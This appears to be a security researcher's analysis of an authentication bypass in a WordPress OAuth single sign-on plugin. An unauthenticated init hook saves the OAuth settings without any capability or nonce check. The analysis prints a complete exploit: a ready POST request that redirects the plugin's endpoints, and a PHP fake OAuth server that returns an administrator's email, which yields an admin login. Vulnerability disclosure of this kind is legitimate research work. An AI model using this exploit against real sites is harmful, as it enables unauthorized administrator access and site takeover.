The plugin was affected by an Auth Bypass vulnerability. To bypass authentication, we only need to know the user’s email address. Depending on whose email address we know, we may even be given an administrator role on the client’s website.

Note: The plugin was affected by Missing Authorization and Cross-Site Request Forgery (CSRF) vulnerabilities too. There are a lot of vulnerabilities and bugs in the code. But the analysis only deals with Auth Bypass because it is the most serious vulnerability.

 

Let’s check the plugin

The oc_oauthclient_controller class adds the following action hook:

add_action( 'init', array( $this, 'save_oauthclient_config' ) );

The save_oauthclient_config() function includes the following request handling:

if ( isset( $_POST['action'] ) ) {
	if ( $_POST['action'] == 'oauthconfig' ) {
		if ( isset( $_POST['OAuthConfig_nonce'] ) && ! empty( $_POST['OAuthConfig_nonce'] ) ) {

			update_option( 'oc_selectedserver', isset( $_POST['oauthservers'] ) ? sanitize_text_field( $_POST['oauthservers'] ) : '' );
			update_option( 'oc_clientid', isset( $_POST['client_id'] ) ? sanitize_text_field( $_POST['client_id'] ) : '' );
			update_option( 'oc_clientsecret', isset( $_POST['client_secret'] ) ? sanitize_text_field( $_POST['client_secret'] ) : '' );
			update_option( 'oc_client_authorization', isset( $_POST['client_authorization'] ) ? sanitize_text_field( $_POST['client_authorization'] ) : '' );
			update_option( 'oc_client_token_endpoint', isset( $_POST['client_token_endpoint'] ) ? sanitize_text_field( $_POST['client_token_endpoint'] ) : '' );
			update_option( 'oc_client_userinfo_endpoint', isset( $_POST['client_userinfo_endpoint'] ) ? sanitize_text_field( $_POST['client_userinfo_endpoint'] ) : '' );
			update_option( 'oc_client_request_in_body', isset( $_POST['rquest_in_body'] ) ? sanitize_text_field( $_POST['rquest_in_body'] ) : '' );
		}
	}
}

As we can see from the code, this is added to the init action, so it can be called on public. There is no user authorization check. There is no nonce validation.

This means that we can change the settings of the OAuth client using a POST request.

 

Let’s see how we can exploit this vulnerability

We only need to send a POST request to exploit this vulnerability.

The HTTP request to the http://localhost/ which is a test WordPress website:

POST / HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

action=oauthconfig&OAuthConfig_nonce=-&oauthservers=Custom_OAuth&client_id=-&client_secret=-&rquest_in_body=1&client_authorization=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fauth%3D1&client_token_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Ftoken%3D1&client_userinfo_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fresource%3D1

We use these values:

action (request action in WordPress): oauthconfig
OAuthConfig_nonce: - (which can be anything, just don’t be empty)
oauthservers (OAuth server type): Custom_OAuth
client_id: - (which can be anything, just don’t be empty)
client_secret: - (which can be anything, just don’t be empty)
request_in_body: 1 (enable)
client_authorization: http://localhost/oauth-exploit.php?auth=1 (auth endpoint)
client_token_endpoint: http://localhost/oauth-exploit.php?token=1 (token endpoint)
client_userinfo_endpoint: http://localhost/oauth-exploit.php?resource=1 (resource endpoint)

 

The exploit script

We have to create an exploit OAuth server, this can be implemented with a few lines of PHP code:

/** auth endpoint */
if ( isset( $_GET['auth'] ) ) {
	if ( isset( $_GET['response_type'] ) ) {
		if ( 'code' == $_GET['response_type'] ) {
			header( 'Location: ' . $_GET['redirect_uri'] . '/?' . http_build_query( array(
					'code' => '-', //can be anything, just don’t be empty
				) ) );
			exit;
		}
	}
}

/** token endpoint */
if ( isset( $_GET['token'] ) ) {
	if ( isset( $_POST['grant_type'] ) ) {
		echo json_encode( array(
			'access_token' => '-', //can be anything, just don’t be empty
		) );
		exit;
	}
}

/** resource endpoint */
if ( isset( $_GET['resource'] ) ) {
	echo json_encode( array(
		'email'      => 'admin@localhost',
		'user_login' => '-', //can be anything, just don’t be empty
	) );
	exit;
}

Add the administrator’s email address to the email field at resource endpoint.

Upload it to our localhost server as oauth-exploit.php file.

 

Try it

Then, if we click on the OAuth Single Sign On button at the WordPress login, the OAuth client connects to our exploit OAuth server, which returns the admin’s email address, and then WordPress authenticates and logs us in.

Unfortunately, I can’t provide a demo for this plugin because it has so many vulnerabilities and bugs that it wouldn’t be too difficult to sandbox it.